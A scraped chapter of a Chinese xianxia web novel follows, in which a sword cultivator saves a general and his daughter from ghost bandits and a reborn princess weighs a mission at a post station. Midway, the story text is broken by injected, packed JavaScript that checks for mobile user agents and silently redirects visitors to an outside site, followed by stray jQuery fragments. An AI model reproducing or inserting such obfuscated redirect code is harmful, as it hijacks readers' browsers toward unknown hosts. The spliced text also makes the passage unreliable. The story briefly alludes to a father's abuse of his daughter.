太阳出来,满地的鬼物都像是草叶上的露水,被蒸发干净,湮灭成土。
云霄飏并指从腐朽的骨灰中掏了一把,捻出一片残留的扭曲符文,他快速结印,打算依照这符文追踪幕后之人,追踪之印未成,符文便已彻底消逝。
追踪无果,云霄飏只得作罢,转身走回树下,问道:“叶将军可好些了么?”
叶离枝忙起身朝他郑重地行了一礼,致谢道:“多谢仙士的丹药,将军服用了药后,身上的尸毒鬼气已经消散了很多,伤口也不再腐坏了。”
云霄飏虚虚一扶,掌中剑气化作一股风力,托起她弯折的膝盖,没有受她的跪拜之礼,温声道:“斩妖除魔,驱邪镇鬼,是我分内之事,姑娘不必行如此大礼。”
他早便留意到叶离枝染血的衣袖,从怀里取出一瓶伤药来,“姑娘也伤得不轻,我这里有些生肌止痛的药粉,姑娘先将就着用用。”
叶离枝先前只顾着照料父亲了,自己肩膀和手掌上的伤早已痛得麻木,此时经他提醒,才后知后觉地又感觉到痛来。
她捧手接过伤药,感激不已,“今夜若无仙士,我们恐怕都会殒命在此,仙士大恩,我现在无以为报,只盼将来能有机会偿还一二。”
云霄飏回头看了一眼林中掘土挖坑,掩埋同伴尸体的兵将,惭愧道:“我还是来得晚了点。”
他外出执行任务,在附近一座城镇中歇脚,半夜被自己的命剑剑鸣惊醒,察觉到此方鬼气冲天,立即御剑赶来,却还是来迟一步。
叶戎带出来的二十多名兵将,有将近一半都折损在了那群鬼物之下,且死状凄惨,浑身都被尸毒腐化,必须得尽快掩埋,免得鬼气扩散。
待掩埋妥当,云霄飏又在他们的坟茔四周划了结界封印,以免有其他生灵误入,沾染尸毒,只等时间消磨尽他们尸身上的鬼气。
做完这些,云霄飏重又查看了一番叶戎身上的伤,说道:“叶将军身上的尸毒虽解,但他伤口之上残留的腐肉还需要尽快剜去,缝合上药,否则伤口感染,依然有性命之危,往东三十里外便是林方镇,那镇子上有医堂。”
亲卫们连连道谢,急忙就地取材,制了一张简易的担床安置好昏沉的叶戎,打算往林方镇去。
天亮之后,鬼魅蛰伏,云霄飏还欲继续追查这群鬼匪的来历,揪出幕后黑手,好斩草除根,便没有随同他们一起前往林方镇,只分出一缕剑气化成一柄巴掌大的蓝色小剑,交予叶离枝,给他们防身用。
没想到动身之时,却听那边忽然起了争执。
叶离枝被一群兵将围在中间,方才云霄飏给她的小剑,她交给了叶戎亲卫。
那亲卫为难道:“要是我私自放你离开,将军醒来,定要责罚我们,请你随我们一起走。”
他嘴上虽然客气,但行事却强硬,绝不可能违背将军之令。
叶离枝戒备地看了眼左右的兵将,“将军受伤,不能回去驿馆为殿下送行,总得有个人赶去向圣女复命。”
亲卫道:“负责护送圣女前往天道宫的人是圣殿灵使,将军奉陛下之命,只是将圣女送出离安都城,我也会另外派人传讯,不需要劳动你跑这一趟。”
他说完,也无意继续耽搁,朝左右命道,“看好她,我们出发,不要耽误了将军的医治。”
叶离枝和这群兵将说不通,在对方发令之时,猛地撞开其中一人,拔腿就跑。
亲卫喝道:“抓住她!”
云霄飏听见喊声,离去的脚步生出迟疑。
那姑娘孤身一个弱女子,身处一群兵将之中,他先前听她情急之时,曾唤叶将军“父亲”,想必是叶将军之女,只是将军身边亲卫看上去却对她并无多少尊重。
思及她身上的伤,肩上的伤是兽爪所挠,手心的伤却是利刃所致,且没有沾染尸毒,不是鬼匪所为,再加之她脖子上明显的掐痕,可见她的处境或许并不乐观。
眼见叶离枝被人擒住手臂,挟同着一起离开,他身形一动,就要上前阻拦。
躺在担床上的叶戎恰在这时醒了过来,他沉沉地闷哼一声,所有人的动作都是一顿,亲卫立即上前,唤道:“将军?”
叶戎勉强撑开眼睛,在亲卫的搀扶下坐起来,尸毒清除后,他的视觉也跟着恢复,抬头看向叶离枝。
他一向是看不上这个女儿的,不仅因叶离枝的母亲是贱籍歌女,还因为她明明人微命贱,却始终不肯驯服于他这个将军的身下,哪怕身体屈从于他,她的眼神也从不曾真正折服。
尤其是叶离枝这一双眼睛,和她母亲很像,叶戎每次看见这双眼睛,就能想起那个女人看他时,那嫌恶鄙夷的神情。
一个贱奴,怎么敢用那种眼神看他。
叶戎沉沉盯着她,问道:“你不是恨我么,为何还要回头救我?”
叶离枝眼眶泛红,咬了咬唇,“不论如何,你都是我的父亲,我只有你一个亲人了。”
这个答案倒也不令人意外,叶戎沉默片刻,她之前的舍命相救终究令他有所动容,遂道:“放开她吧,从今往后,她便是叶府名正言顺的二小姐。”
擒在手臂上的力道松开,叶离枝惊讶地抬眼,有些受宠若惊。
围在身旁的兵将往两边散开,面向她时的态度也与先前有了很大改变,神情变得恭敬,一同下跪叩首,齐声道:“拜见二小姐。”
云霄飏慢慢停下脚步,他见叶戎挥退开身边亲卫,只留了叶离枝在身旁,应当是父女俩有一些私心话要说,便也秉承着非礼勿听之德,往远处退去。
只不过,他依然待在远处观望,没有立即离开。
叶离枝走近叶戎身边,两人说了一会儿话,看双方神情还算平和,随后叶离枝退开两步,跪到地上朝他叩了三个头。
叶戎点点头,勉强维持的清醒也差不多耗尽,疲惫地倒回担床上,很快又陷入意识模糊中。
亲卫们簇拥上前,护送着叶戎往林方镇赶去,叶离枝送走他们,回过头,望见站在远处的云霄飏,唇角绽开一朵笑意,快步朝他跑来。
“父亲托我感谢仙士的救命之恩,这是父亲的随身玉佩,可做信物,以后仙士若有所需,南荣叶氏定当全力以赴。”
云霄飏摆手道:“我说过了,除妖伏魔都是我分内之事,万不敢受此承诺。”
叶离枝见他执意不肯受,只得收好玉佩,恩情并不在于信物,就算没有信物,她也会铭记这份恩情的。
叶离枝看向地上湮灭的骨灰痕迹,又道:“父亲还交代我说,仙士如果要查这群鬼匪来历,可以往平阳伏陀山一带去查看,四年前父亲曾在那里剿灭一窝匪寇,今日这群鬼匪的残兵败容以及使用的兵械,倒是和当年那群匪寇有些相似之处。”
云霄飏正愁没有线索,高兴道:“如此甚好。”他望一眼叶戎离开的方向,问道,“叶姑娘没有随同令尊一起走,是要去别的地方么?”
叶离枝有些不好意思道:“实不相瞒,我也要赶去平阳驿馆,不知能否与仙士同行?”
云霄飏挥手放出命剑,悬浮于空,对她伸出手,爽朗笑道:“既然顺路,送姑娘一程又何妨?”
……
平阳驿馆。
慕昭然抚摸着手腕上一串玉珠,珠子一共十二枚,每隔两颗珠子便有一颗铭刻通讯符文的灵珠。此时,其中一枚珠子的灵光刚刚隐没,瑶姑的话音还在她脑中不断回响。
原来他们并非没有发现叶戎的野心,只是叶大将军在南荣的势力已成,树大根深,父王不仅奈何不了他,还得依仗他抵御南境诸多蠢蠢欲动的世家。如今南境的局势处在一个微妙的平衡上,杀了叶戎并不能改变现在的局面,反而会更加糟糕。
前世,叶戎是从什么时候开始和世家联手的?
是从叶离枝成为天道宫灵尊的亲传弟子么?似乎就是从那个时候开始,那些高傲的世家就彻底放弃了慕氏,转投叶氏,最终和叶戎一起攻入了王宫,逼死了父王和母后。
而她现在迫于系统任务,还不得不把叶离枝送入天都,送到灵尊的眼皮子底下!
慕昭然在床边坐了许久,晨光笼罩大地,才唤人送来热水沐浴更衣,坐到妆台前梳妆时,心里的悸动总算冷却下来。
她对着银镜来回照看这张尤带着几分稚嫩的面庞,抬手捏了捏自己圆润饱满的颊肉,盯着镜中人的眼睛,在心中一遍遍自我安慰道:“没关系的,慕昭然,一切都才刚开始,你以后还会有很多机会去做改变,不急于这一时。”
侍女捧来一匣子花钿,问道:“殿下今日要贴花吗?”
慕昭然吐出心中郁气,转过身来,为自己仔细挑选了一枚火焰状的花钿。
侍女小心地取下花钿,用银匙沾了点水,贴上她的眉心。
慕昭然眼眸半阖,感觉到那一丝凉意落在眉心,睫羽轻轻一颤,不觉有些出神。
侍女贴好花钿,往后退开半步,“殿下看看,这样行么?”见圣女怔怔坐着,半
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164985|165084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天未有回应,侍女凑近了一些,再次唤道,“殿下?”
慕昭然这才回过神来,转头对着银镜若有所思地摸了摸眉心的花钿。
先前意识附身在鬼匪身上,被云霄飏剑指眉心的一瞬间,好像先有一缕力量抚过她的眉心,在她意识之中刺了一下,她才能及时从鬼匪身上脱离,没有被一起斩杀在云霄飏的剑下。
可当时的感觉似梦似幻,极不真切。
重生后第一次见到云霄飏,她的心依然与前世一般,不受控制地急跳个不停,意识也处于飘飘然的状态,感官未必做得了准。
慕昭然这般想着,将这事抛诸脑后,下到驿馆大堂。
驿官已安排了早膳,众人都等着圣女入席。
叶凌烟心事重重,昨夜几乎不怎么睡着,一大早便守在门边巴巴望着外面,生怕父亲真的将叶离枝带回来了。
眼下距离出发的时辰越来越近,她悬着的心反而渐渐落回肚子里。
见到慕昭然从楼上下来,叶凌烟立即殷勤地迎上来,努力想要抹去昨日的不愉快,摆出平日的模样,试图去挽她的手臂,笑道:“殿下,我见你昨夜没什么胃口,今早特意让人去采了晨露,加上些酸梅雪梨,炖了一盅开胃的甜汤。”
慕昭然昨夜杀叶戎不成,心中苦闷可想而知,恨屋及乌,转眸看向叶凌烟的眼神亦带着一点遮掩不住的杀意。
叶凌烟被她的眼神吓住,战兢兢地收回了挽向她的手。
慕昭然绕过她,坐到座上,明知故问道:“叶将军还没把人寻回来?”
叶凌烟看一眼侍从端在手里准备送上来的甜汤,指甲掐进掌心里,勉强维持住了讨好的笑脸。
走过去回答道:“阿爹亲自带人去寻她,寻了一夜都还未归,定是那个贱婢故意躲起来了,她在家时就惯常会偷奸耍滑,经常叫人好找,现在出了将军府,要是故意想躲,那更是泥牛入海,不好找了。”
霜序问道:“殿下,要再派几名灵使前去寻一寻吗?”
修士有灵力在身,寻人的法子更多,自然比叶将军带着兵将四处搜寻要容易得多,昨夜霜序便想进言了,但圣女没有主动提,她犹豫片刻便也没有开口。
只是眼下出发的时辰越来越近,行程耽误不得,殿下看上去又对那位叶姑娘十分上心,她才想要主动领命。
慕昭然沉默着,没有立即回答,她昨夜虽没能杀死叶戎,却也将他伤得不轻,他定然是无法回来向她复命的。
至于叶离枝,很可能正守在她那父亲身边尽孝呢,或许还跟云霄飏在一起。
她对叶离枝恨得牙痒,但该死的系统任务又叫她不能就这么一走了之,若派出圣殿灵使,她又有点担心会像前世一样出什么意外,导致派出去的人最后回不来。
叶凌烟见慕昭然犹豫不决,好似真有意动,急忙劝道:“等阿爹找到人传讯给我,是要将她押来殿下面前请罪,还是该如何处罚,都凭殿下做主。但眼下时辰也不早了,殿下何必为了她耽误正事?要是我们去得迟了,怠慢了天道宫的仙尊,仙尊因此而降罪南荣可怎么办?”
叶凌烟虽有私心,可这话说得也不无道理,经历过前世一遭,慕昭然早已深切体会到天道宫的无上权威,不似从前那般不知天高地厚了。
她思忖片刻,做下决定道:“所有人做好准备,按时出发。我身边只留一人就行,霜序,你带着其余灵使亲自去寻叶离枝,务必要将她完好无损地给我带回来。”
霜序不赞同道:“殿下,您的安危比什么都重要,身边怎能只留一人?”
慕昭然内心当然不愿,却只能言不由衷道:“我那车辇是圣殿长老们亲手打造的,称得上是一件上等法器,能遇上什么危险?快去吧,一定要保护好她,也要保护好你们自己。”
霜序无法,只得听命应是,转身踏出门去,准备带人去寻。
刚出得门来,就望见一人呆怔地站在庭院中,不是叶离枝又是何人?
霜序心中一惊,这么大一个活人,都走到庭院中了,自己竟然毫无察觉,这属实不应该,她警觉地打量叶离枝一圈,走上前去,唤道:“叶姑娘,你回来了?”
叶离枝还没有从方才无意间听到的话语中回神,她自出生以来饱受冷眼,母亲逝世得早,她身边只余一名奶娘嬷嬷,除此之外未曾从他人身上得到过半分温情。
没想到,今日竟会从那位与她毫不相干的圣女口中,听到“保护好她”这四个字。